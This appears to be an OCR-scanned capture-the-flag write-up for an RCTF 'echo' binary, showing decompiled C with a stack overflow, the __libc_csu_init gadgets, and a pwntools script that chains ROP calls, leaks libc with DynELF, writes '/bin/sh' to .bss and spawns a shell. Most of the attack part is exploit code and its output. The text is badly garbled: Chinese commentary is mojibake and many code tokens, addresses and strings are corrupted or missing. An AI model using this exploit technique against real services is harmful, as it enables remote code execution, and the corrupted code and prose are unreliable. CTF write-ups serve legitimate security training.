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int _ cdecl main(int argc, const char **argv, cons

{
har buf; // [rsp+€

write(1, "Welcome to RCTF\n", @x16ull);
fflush(_bss_start);

read(®, &uf, ©x400ulLl);

echo(&buf);

return 9;

SRJEecho4TEY, JTENHTFS NBM6 7 W4 T, AAAEH

jint _‘_—_-__:__—_'__ echo(char *butter)
'

char s2[16]; // |

for (1 = 0; f [1]; ++1 )

2[i] = buffer[i];
2[1] = eo;
if ( !strcmp("ROIS™, s2) )
{

printf("RCTF{Welcome}", s2);
puts(" is not flag");

¥
return printf("%s", s2);
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_libc_csu_init ERECT A pop&call

.text:0000000000400880 loc_400880: ; CODE
.text :0000000000400880 mov rdx, ril3
.text:0000000000400883 mov rsi, rl4
.text:0000000000400886 mov edi, ri15d
.text:0000000000400889 call qword ptr [rl2+rbx*8]
.text:000000000040088D add rbx, 1
.text:0000000000400891 cmp rbx, rbp
.text:0000000000400894 jnz short loc_400880
.text:0000000000400896

.text:0000000000400896 loc_400896: ; CODE
.text:0000000000400896 add rsp, 8

.text :000000000040089A pop rbx
.text:000000000040089B pop rbp
.text:000000000040089C pop rip

.text :000000000040089E pop rl3

.text :00000000004008A0 pop rl4

.text :00000000004008A2 pop rl5
.text:00000000004008A4 retn

¥EE 0x0000000000400880, FAIIE r13. r14. r15 7 HIXRIET =S5, r1 20784748 bk i fe &

NiINIZ# 0x0000000000400896 I [fii i — & 41/ (1) pop AJ LA & FAl 1) 2K

PATHEES rox+1=rbp il vl LLSL LA — X J5 4k 42 /5 T 1) gadget.

4. 11T echo# DU 2375 00 AL#ilT, A2 FH JEHRIROPIIEMAT, FrLAIFAA Jai AT pop 327715 Hgadgetkid i 132577
echo stack frame i J& t1

| 0x18 bytes | return address | 0x400 byes |

| 0x18 bytes | pop 32 bytes gadget address | other gadgest
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LibcSearch

JE:  https://github.com/lieanu/LibcSearcher.git
BRI https://github.com/lieanu/libc-database
fE4ih: libc database search
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https://libc.blukat.me/

1. FIfH echo it i+ fEROP%E, HtF& system e&%dtht
2. 40 system il 5 #) bss Bt

3. & “/bin/sh\x00” 5 3| .bssEt

4. ] system.
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from pwn import

import sys
if (sys.argv)>1 sys.argv[1]

process(

remote( , 50041)

0x000000000040089A
0x0000000000400880
0x00000000004007CE
0x000000000040089C
0x00000000004008A4
rspPlus64Addr 0x0000000000400896

readgotaddr = 0x0000000000601038
WwriteGOTAddr = 0x0000000000601020

def call(funAddr, argv@=0x0, argvl=0x0, argv2=0x0):
payload = flat( 0x18,p64(popdaddr),
p64(pop6addr),
p64(0),p64(1),
p64(funAddr),p64(argv2),p64(argvl),pbd(argve),
p64(callrop),
p64(0)*7,

p64(mainAddr))

io.sendlineafter( , payload)

leak(address, length=8):
call(writeGOTAddr, 1, address, length)
data = io.recvuntil( Y[:-7][-8:]
print( (address, enhex(data)
return data

em = DynELF(leak, elf=ELF(
mem. lookup ( s )
systemaddr)

bssAddr 0x000000000V601500
call(readgotaddr, 0, bssAddr, 8)
io.send(p64(systemaddr))

0x0000000000601508
call(readgotaddr, 0, bssbuffAddr, (cmdstr))

io.send(cmdstr)

call(bssAddr, bssbuffAddr)
io.interactive()




[*1 hash chain

0x7ff85e13df88 => Baedeelclb0ba396
Ox7ff85el46c28 => 742e000022000d00
Ox7ff8beldeebc => 73797374656d0074
Ox7ff85e146c30 == 9053040000000000
[+] systemaddr: 0x7ff85e180390

[#*] Switching to interactive mode
aaoaaacaaacaaaaaaaaaaaaaaa’\x9@%

1ib64

1libc32-2.19.s0

1libc64-2.19.s0
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